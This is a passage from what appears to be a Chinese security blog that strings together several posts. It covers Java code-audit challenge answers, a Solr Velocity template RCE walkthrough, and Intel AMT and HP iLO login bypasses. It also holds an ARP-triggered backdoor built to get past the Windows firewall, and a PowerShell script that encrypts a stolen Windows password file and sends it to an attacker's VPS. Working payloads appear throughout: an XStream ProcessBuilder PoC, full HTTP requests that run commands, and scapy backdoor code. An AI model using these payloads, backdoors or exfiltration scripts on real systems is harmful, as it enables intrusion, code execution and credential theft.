这里存在一个漏洞可以读文件,虽然url参数必须以http开始,但是最总读读数据的是来自Location的,然而Location攻击者是可以控制的。
?url=http://www.google.com
Location:file:///etc/passwd#http://xxx.com

防御措施

保持一致性,redirect也要检查。不能检查一个参数,但是实际使用的是另一个参数。

Day 23 - Ivy

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import javax.servlet.http.*;
import java.io.*;
import java.text.*;
import java.util.*;
import org.apache.commons.lang3.StringEscapeUtils;

public class ShowCalendar extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
response.setContentType("text/html");
GregorianCalendar calendar = new GregorianCalendar();
SimpleTimeZone x = new SimpleTimeZone(0, request.getParameter("id"));
SimpleDateFormat parser=new SimpleDateFormat("EEE MMM d HH:mm:ss zzz yyyy");
calendar.setTime(parser.parse(request.getParameter("current_time")));
calendar.setTimeZone(x);
Formatter formatter = new Formatter();
String name = StringEscapeUtils.escapeHtml4(request.getParameter("name"));
formatter.format("Name of your calendar: " + name + " and your current date is: %1$te.%1$tm.%1$tY", calendar);
PrintWriter pw = response.getWriter();
pw.print(formatter.toString());
} catch(ParseException e) {
response.sendRedirect("/");
}
}
}

很典型的反射xss.

1
http://victim.org/?id=<script>alert(1)</script>&current_time=Thu Jun 18 20:56:02 EDT 2009&name=%shello

Day 24 - Nutcracker

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.rips.demo.web;

import java.io.*;
import java.lang.reflect.*;

class Invoker implements Serializable {

private String c;
private String m;
private String[] a;

public Invoker(String c, String m, String[] a) {
this.c = c;
this.m = m;
this.a = a;
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException {
ois.defaultReadObject();
Class clazz = Class.forName(this.c);
Object obj = clazz.getConstructor(String[].class).newInstance(new Object[]{this.a});
Method meth = clazz.getMethod(this.m);
meth.invoke(obj, null);
}
}

class User implements Serializable {
private String name;
private String email;
transient private String password;

public User(String name, String email, String password) {
this.name = name;
this.email = email;
this.password = password;
}

private void readObject(ObjectInputStream stream)
throws IOException, ClassNotFoundException {
stream.defaultReadObject();
password = (String) stream.readObject();
}

@Override
public String toString() {
return "User{" + "name='" + name + ", email='" + email + "'}";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@RequestMapping(value = "/unserialize", consumes = "text/xml")
public void unserialize(@RequestBody String xml, HttpServletResponse res) throws IOException, ParserConfigurationException, SAXException, XPathExpressionException, TransformerException {
res.setContentType("text/plain");
// Parse xml string
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();
Document xmlDocument = builder.parse(new InputSource(new StringReader(xml)));
XPath xPath = XPathFactory.newInstance().newXPath();
String expression = "//com.rips.demo.web.User[@serialization='custom'][1]";
//only allow User objects to be unserialized!!!
NodeList nodeList = (NodeList) xPath.compile(expression).evaluate(xmlDocument, XPathConstants.NODESET);
// Transform node back to xml string
Transformer transformer = TransformerFactory.newInstance().newTransformer();
transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes");
StringWriter writer = new StringWriter();
transformer.transform(new DOMSource(nodeList.item(0)), new StreamResult(writer));
String xmloutput = writer.getBuffer().toString();
// Unserialze User
User user = (User) new XStream().fromXML(xmloutput);
res.getWriter().print("Successfully unserialized "+user.toString());
}

这里存在一个对象注入 然后反序列化造成命令执行。User对象是本来程序准备反序列化的,但是恶意的xml里还包含里Invoker对象,Invoker对象反序列化,造成代码执行。
poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<com.company.User serialization="custom">
<com.company.User>
<default>
<email>peter@gmail.com</email>
<name>Peter</name>
</default>
<com.company.Invoker serialization="custom">
<com.company.Invoker>
<default>
<a>
<string>touch</string>
<string>/tmp/xstream.txt</string>
</a>
<c>java.lang.ProcessBuilder</c>
<m>start</m>
</default>
</com.company.Invoker>
</com.company.Invoker>
</com.company.User>
</com.company.User>

防御措施

升级XStream.

reference

  1. https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
  2. https://www.ripstech.com/java-security-calendar-2019/
  3. https://www.zhaidehui.com/index.php/archives/327/
  4. https://www.anquanke.com/post/id/180932
  5. https://stackoverflow.com/questions/37203247/while-loading-jni-library-how-the-mapping-happens-with-the-actual-library-name
  6. https://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html

Solr_Rce_Velocity学习

solr环境搭建

作者使用的是idea,solr 8.1.1,主要参考了这篇文章,以下是个人总结
先下载源码solr-8.1.1-src.zip
然后进入~\solr-8.1.1-src\ lucene\目录里
使用ant idea 如果报错 执行ant ivy-bootstrap
编译成功后 使用open project方式打开
然后进入到~\lucene\solr\目录下,执行ant server创建solr server
Solr的默认路径为~\lucene\solr\server\solr

然后,在idea配置远程调试。在“Run Configurations”里添加Remote,在配置中,自定义Name,Host,和Port。
我们在cmd中进入lucene-solr\solr\bin文件夹中,运行solr start -p 8988 -f -a “-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8988”
配置的端口号(e.g. 8988)要与在idea中配置的端口号一致。
最后,在idea中运行debug模式。我们在网页中http://localhost:8988,则可以开始进行调试。

第一步:修改配置文件

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /solr/new_core/config HTTP/1.1
Host: localhost:8988
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Content-Type: application/json
Content-Length: 259

{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}

通过阅读Web.xml,我们发现所有的请求都会发到SolrRequestFilter,我们直接去读相关类的代码。

1
2
3
4
5
6
7
8
9
<filter>
<filter-name>SolrRequestFilter</filter-name>
<filter-class>org.apache.solr.servlet.SolrDispatchFilter<filter-class>
.....
<filter-mapping>
<filter-name>SolrRequestFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
.....

org/apache/solr/servlet/SolrDispatchFilter.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void doFilter(ServletRequest _request, ServletResponse _response, FilterChain chain, boolean retry) throws IOException, ServletException {
...
try {
Action result = call.call();
switch (result) {
case PASSTHROUGH:
chain.doFilter(request, response);
break;
case RETRY:
doFilter(request, response, chain, true); // RECURSION
break;
case FORWARD:
request.getRequestDispatcher(call.getPath()).forward(request, response);
break;
case ADMIN:
case PROCESS:
case REMOTEQUERY:
case RETURN:
break;
}
} finally {
....

在call()方法里进行了一系列的调用实现里配置持久化,配置文件路径:~/solr-8.1.1-src/solr/server/solr/new_core/conf/configoverlay.json

第二步:velocity模版注入

POC

1
2
3
4
5
6
7
8
GET /solr/new_core/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: localhost:8988
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close

整体的原理是wt参数获取模版类型,然后模版注入。这个老哥的图太牛逼了,直接上图。
flow
来源:http://www.lmxspace.com/2019/11/03/Solr-RCE-via-Velocity-template/

防御

如何去防御呢,我个人觉得可以分为
1.不让修改配置
2.过滤ssti注入
个人觉得都不是很好的方法,因为第一影响到了使用性,第二基于黑名单的过滤不是那么的可靠。

关机就安全了吗

背景

在漏洞频发的今天,怎么才能保持自己的电脑的安全呢?关机或许是个不错的选择。可是关机就真的安全了吗?黑客能否远程开启你的计算机搞你呢?本文介绍两个关机也能搞的漏洞。

技术细节

CVE-2017-5689

Intel AMT技术

Intel AMT其全称为INTEL Active Management Technology(英特尔主动管理技术),它实质上是一种集成在芯片组中的嵌入式系统,不依赖特定的操作系统,这也是IAMT与远程控制软件最大的不同。该技术会对外开放16992和16993端口,以便管理员远程维护。

漏洞细节

影响版本:
太多型号详见:
https://www.securityfocus.com/bid/98269

AMT 登录管理中通过response_length值来进行判断,也即关键代码:

if(strncmp(computed_response, user_response, response_length)) 
deny_access();

这个标准函数仅仅比较两个字符串中每一个的response_length字节,看看它们是不是一样,加以比较的两个字符串是试图登录所发送的验证响应(user_response)和服务要求的响应(computed_response)。如果两者相符,密码肯定对的,所以该函数返回零,代码继续授予访问权。如果两个字符串不一样,该函数返回值是非零,这意味着密码不对,所以拒绝访问。所以如果提供的是空字符串,长度为零,没有字节被检查,因而没有字节是不一样的;不出所料,strncmp()返回零,表明验证成功。因而,空的响应字符串被认为有效而被放行,实际上明明是无效的,因此通过修改response的所有值为空,即可绕过验证进行登录。https://embedi.com/wp-content/uploads/dlm_uploads/2017/11/silent-bob-is-silent.pdf。

漏洞利用

使用burpcuit,单击“Proxy”-“Option”,在“Match and Replace”中新建或者编辑Request Header条目,Match值为response\s*=”[0-9a-f]+”,Replace 的值为response=””,在拦截(Intercept)中设置拦截开关为“Intercept is On”。用户名输入admin,密码随便输入。即可绕过登陆,绕过登陆后,可以直接添加管理员账号,开关机,远程挂载CD等。但是肯定有人会好奇那我怎么去看它桌面呢?像使用远控一样。强大的Intel给我们提供了AMT管理工具包,使用vnc既可以远程控制。下载地址:http://info.meshcentral.com/downloads/mdtk/meshcommander.msi

CVE-2017-12542

HP iLo技术

iLo是Integrated lights-out的简称,是HP服务器上集成的远程管理端口,只要将服务器接入网络并且没有断开服务器的电源,不管HP服务器处于何种状态(开机关机重启),都可以允许用户通过网络进行远程管理。简单的说,iLo是高级别的远程KVM系统,可以将服务器的信息显示在本地,并且使用本地的键盘鼠标控制操作服务器,并可以将本地的光盘镜像,文件夹作为虚拟光驱映射并加载到服务器中。使用iLo,可以完成底层的BIOS的设置磁盘的RAID和一系列的操作系统的底层工作。

漏洞细节

影响版本:
HP Integrated Lights-Out 4 firmware 2.50
HP Integrated Lights-Out 4 firmware 2.44
HP Integrated Lights-Out 4 firmware 2.22
HP Integrated Lights-Out 4 firmware 2.20
HP Integrated Lights-Out 4 firmware 2.03
HP Integrated Lights-Out 4 firmware 1.32
HP Integrated Lights-Out 4 firmware 1.30
HP Integrated Lights-Out 4 firmware 1.22
HP Integrated Lights-Out 4 firmware 1.13
HP Integrated Lights-Out 4 firmware 1.11
HP Integrated Lights-Out 4 firmware 2.10
https://airbus-seclab.github.io/ilo/SSTIC2018-Slides-EN-Backdooring_your_server_through_its_BMC_the_HPE_iLO4_case-perigaud-gazet-czarny.pdf

漏洞利用

利用比较简单,绕过验证,添加用户。然后使用HP提供的管理工具连上去管理就可以了。
exploit:https://www.exploit-db.com/exploits/44005/
管理工具下载:https://support.hpe.com/hpsc/swd/public/detail?swItemId=MTX_4f842ceb31cf48d392e22705a8

穿透Windows防火墙唤醒后门

背景

在渗透测试过程中,我们常常会遇到这种情况,目标上的木马被杀了,留了正向后门,却因为windows防火墙的原因,无法唤醒。所以我们就需要一种方法,来bypass防火墙唤醒我们的后门或者作为后门。

技术细节

选择协议

首先我们要远程唤醒,必然是要选择一种网络协议的。为了满足我们的需求,传输层及以传输层以上的协议是必然不能选择的。物理层和数据链路层是我们无法控制的。所以我们只能选择网络层的协议。网络层的协议(IP/ICMP/ARP/RARP/BGP)有以上协议供我们选择。

ARP协议(局域网中的工作情况)

ARP协议是设计用来通过网络地址(ip)定位MAC地址。在以太网协议中规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须要知道目标主机的MAC地址。而在TCP/IP协议中,网络层和传输层只关心目标主机的IP地址。这就导致在以太网中使用IP协议时,数据链路层的以太网协议接到上层IP协议提供的数据中,只包含目的主机的IP地址。于是需要一种方法,根据目的主机的IP地址,获得其MAC地址。这就是ARP协议要做的事情。所谓地址解析(address resolution)就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。在windows操作系统上使用arp -a即可看到自己的arp缓存表。

ARP报文结构

arp报文结构
如果目的端主机的硬件地址是FF:FF:FF:FF:FF:FF,那么这是一个以太网广播地址。电缆上的每个以太网接口都要接收这个数据帧并对它进行处理。

后门设计

ARP默认防火墙是放行的,我们在受害者机器上监听ARP广播,如果有我们的特征码传过来,则唤醒后门进行下一步操作。在此我们使用scapy进行模拟。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
listener.py
from __future__ import print_function
from scapy.all import *
import sys

def arp_display(pkt):
if pkt[ARP].op == 1: # who-has (request)
if pkt[ARP].pdst == 'xxxxxxx':
os.system('xxxxx')
return 'Request: {} is asking about {}'.format(pkt[ARP].psrc, pkt[ARP].pdst)
if pkt[ARP].op == 2: # is-at (response)
return '*Response: {} has address {}'.format(pkt[ARP].hwsrc, pkt[ARP].psrc)

sniff(prn=arp_display, filter='arp', store=0, count=100)

1
2
3
4
5
6
7
8
9
hacker.py
from scapy.all import *
def ip1(ip):
pkt = send(ARP(op=ARP.who_has, psrc="hacker", pdst=ip),loop=1)
x = sniff(filter="arp", count=10)
print (x.summary())
print ("done")

ip1("xxxx")

在受害者上运行listener.py,监听arp广播,攻击者运行hacker.py,广播寻找一个ip地址,受害者监听到这个广播地址,则会唤醒后门。

总结

在渗透测试的过程中,只要有信息交换的地方,都有可能被设计为C&C或者用来唤醒后门或者用来偷数据,比如360研究的ghost tunnel,比如arp。

Windows密码窃取

背景

在很多渗透测试过程中,需要实时监控一些数据,比如Windows的密码等。网上已经很多工具和方法实现,但是都只是将数据保存在本地,无法远程获取。所以一旦丢失权限,还是那不到密码。出于这个需求就开发了此脚本。

技术细节

此脚本才用powershell编写,数据通过RSA加密,HTTP协议传输,所以注定了只能传输很少的内容。此脚本工作涉及三台机器,Target,VPS,Hacker.
第一步:

1
2
3
4
5
6
# 生成公钥和私钥保存起来
$rsa = New-Object -TypeName System.Security.Cryptography.RSACryptoServiceProvider
$publickey = $rsa.ToXmlString("false");
$publickey;
$privatekey = $rsa.ToXmlString("true");
$privatekey;

第二步:在VPS上起一个web服务,建议安装apache。

1
2
3
eg.
python2 -m SimpleHTTPServer 80
python3 -m http.server 80

第三步:在target上的操作。

1
2
3
4
5
6
7
8
9
$rsa.FromXmlString($publickey);
$rsa = New-Object -TypeName System.Security.Cryptography.RSACryptoServiceProvider
$p = Get-Content -Path c:\temp\1.txt
$p_b = [System.Text.Encoding]::Unicode.GetBytes($p)
$e = $rsa.Encrypt($p_b,"false")
$b_64 = [Convert]::ToBase64String($e)
$url = "http://192.168.1.8/aaabbb"+$b_64
# aaabbb作为标识符
Invoke-WebRequest $url

此时 你就已经可以看到请求了。

下面是解码代码

1
2
3
4
$b_byte = [System.Convert]::FromBase64String($b_64)
$rsa.FromXmlString($privatekey)
$p_t = $rsa.Decrypt($e, "false")
$result = [System.Text.Encoding]::Unicode.GetString($p_t)

通过这样的几步,我们就安全的拿到了我们想要的密码。

总结

其实这是一种通用的方案,很多渗透情景都可以用这种思路。这个脚本在这里不提供全部代码,有兴趣的同学应该可以自行编写。至于这个脚本什么时间上传,如何启动,大家思路不一样,就仁者见仁智者见智了,不再本文的讨论范围内。